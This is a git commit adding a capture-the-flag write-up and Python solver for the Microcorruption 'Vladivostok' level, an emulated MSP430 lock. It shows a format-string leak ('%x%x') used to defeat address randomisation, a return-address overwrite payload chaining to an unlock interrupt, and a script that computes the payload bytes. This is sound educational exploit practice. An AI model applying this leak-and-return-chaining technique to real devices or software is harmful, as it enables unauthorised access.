Solve Vladivostok
This commit is contained in:
parent
afe94b773b
commit
6cfef3b77c
72
README.md
72
README.md
@ -438,3 +438,75 @@ beefbeefbeefbeefbeefbeefbeefbeef1e2462452100
|
|||||||
|
|
||||||
## Vladivostok
|
## Vladivostok
|
||||||
|
|
||||||
|
This one is fun. We first use this command to disable the program code randomization:
|
||||||
|
|
||||||
|
```
|
||||||
|
#define init b 445a;reset;c;u 445a;let r10=3000;let r11=4400;b 4494;c;u 4494;let pc=44a0;c
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, when typing `init`, the program initializes and we can debug properly.
|
||||||
|
|
||||||
|
We quickly realize that there is a return address vulerability that we can
|
||||||
|
exploit with this code:
|
||||||
|
|
||||||
|
```
|
||||||
|
offset move 3 into r13
|
||||||
|
/ /
|
||||||
|
---------------- --------
|
||||||
|
aaaaaaaaaaaaaaaafe423d400300b012ae46
|
||||||
|
---- -------- branch to code that does R13 += 0x7c
|
||||||
|
\ and then pushes R13 and INTs to unlock
|
||||||
|
\
|
||||||
|
jump to injected code
|
||||||
|
|
||||||
|
```
|
||||||
|
|
||||||
|
Unfortunately, this requires both the random stack and program address. After
|
||||||
|
playing around with the first input, we find that `%x%x` reliably prints the
|
||||||
|
`printf` function address but there is no way for a stack address.
|
||||||
|
|
||||||
|
We have to find a different location to exploit. After some digging, we find
|
||||||
|
that 0x48ec (aka `_int`) allows as to push a chosen value into R14. We can than
|
||||||
|
layer the return call injects to return to `0x4954` which pushes R14 as the
|
||||||
|
interrupt selection value and then calls `0x10`. That means, we can inject
|
||||||
|
`0x7f` into R14, allowing us to call the unlock interrupt.
|
||||||
|
|
||||||
|
With the static addresses, our attack then looks like this:
|
||||||
|
|
||||||
|
```
|
||||||
|
`_int` addr inject 0x7f (unlock door) into r14
|
||||||
|
\ /
|
||||||
|
---- --
|
||||||
|
aaaaaaaaaaaaaaaaec4854497f00
|
||||||
|
----
|
||||||
|
`push r14` addr /
|
||||||
|
```
|
||||||
|
|
||||||
|
Now, the only issue is of course that this relies on the derandomized code
|
||||||
|
locations. We can write a quick Python script, to compute the correct string
|
||||||
|
for every `printf`-addr:
|
||||||
|
|
||||||
|
```python
|
||||||
|
PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n'
|
||||||
|
INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14
|
||||||
|
PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector
|
||||||
|
|
||||||
|
random_printf_addr = 0x1338 # get via '%x%x' username input
|
||||||
|
random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR)
|
||||||
|
random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR)
|
||||||
|
|
||||||
|
solution_string = "aaaaaaaaaaaaaaaa" # Initial offset
|
||||||
|
solution_string += reverse_byte_order(random_int_addr)
|
||||||
|
solution_string += reverse_byte_order(random_push_r14_addr)
|
||||||
|
solution_string += "7f00"
|
||||||
|
print(solution_string)
|
||||||
|
```
|
||||||
|
|
||||||
|
All that is left is finding out the address by using `%x%x` in the username
|
||||||
|
input field. We then put the address we get into the script, and reliably get
|
||||||
|
the solution string.
|
||||||
|
|
||||||
|
|
||||||
|
# Bangalore
|
||||||
|
|
||||||
|
|
||||||
|
49
vladivostok.py
Normal file
49
vladivostok.py
Normal file
@ -0,0 +1,49 @@
|
|||||||
|
"""
|
||||||
|
Script to solve https://microcorruption.com/debugger/Vladivostok
|
||||||
|
|
||||||
|
- Enter '%x%x' into the username field to get the printf-location
|
||||||
|
- Input the printf-location into this script
|
||||||
|
- Enter the output string into the password field to solve
|
||||||
|
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def reverse_byte_order(hex_int):
|
||||||
|
hex_str = hex(hex_int)
|
||||||
|
|
||||||
|
# Ensure the hex string has an even number of characters
|
||||||
|
if len(hex_str) % 2 != 0:
|
||||||
|
hex_str = "0" + hex_str
|
||||||
|
|
||||||
|
# Reverse the byte order in groups of two
|
||||||
|
byte_reversed = "".join(reversed([hex_str[i:i + 2] for i in range(0, len(hex_str), 2)]))
|
||||||
|
return byte_reversed[:-2]
|
||||||
|
|
||||||
|
|
||||||
|
def get_printf_address():
|
||||||
|
hex_str = input("Enter a hex string: ")
|
||||||
|
num = int(hex_str, 16)
|
||||||
|
return num
|
||||||
|
|
||||||
|
|
||||||
|
def compute_solution():
|
||||||
|
# These are the addresses for the program at its original location.
|
||||||
|
PRINTF_ADDR = 0x476a # This is the address we can extract via '%n%n'
|
||||||
|
INT_ADDR = 0x48ec # This is the address where we can push a specific value to R14
|
||||||
|
PUSH_R14_ADDR = 0x4954 # This location triggers an interrupt with R14 as the INT selector
|
||||||
|
|
||||||
|
|
||||||
|
random_printf_addr = get_printf_address()
|
||||||
|
random_int_addr = random_printf_addr + (INT_ADDR - PRINTF_ADDR)
|
||||||
|
random_push_r14_addr = random_printf_addr + (PUSH_R14_ADDR - PRINTF_ADDR)
|
||||||
|
|
||||||
|
solution_string = "aaaaaaaaaaaaaaaa" # Initial offset
|
||||||
|
solution_string += reverse_byte_order(random_int_addr)
|
||||||
|
solution_string += reverse_byte_order(random_push_r14_addr)
|
||||||
|
solution_string += "7f00"
|
||||||
|
print(solution_string)
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
compute_solution()
|
||||||
|
|
Loading…
Reference in New Issue
Block a user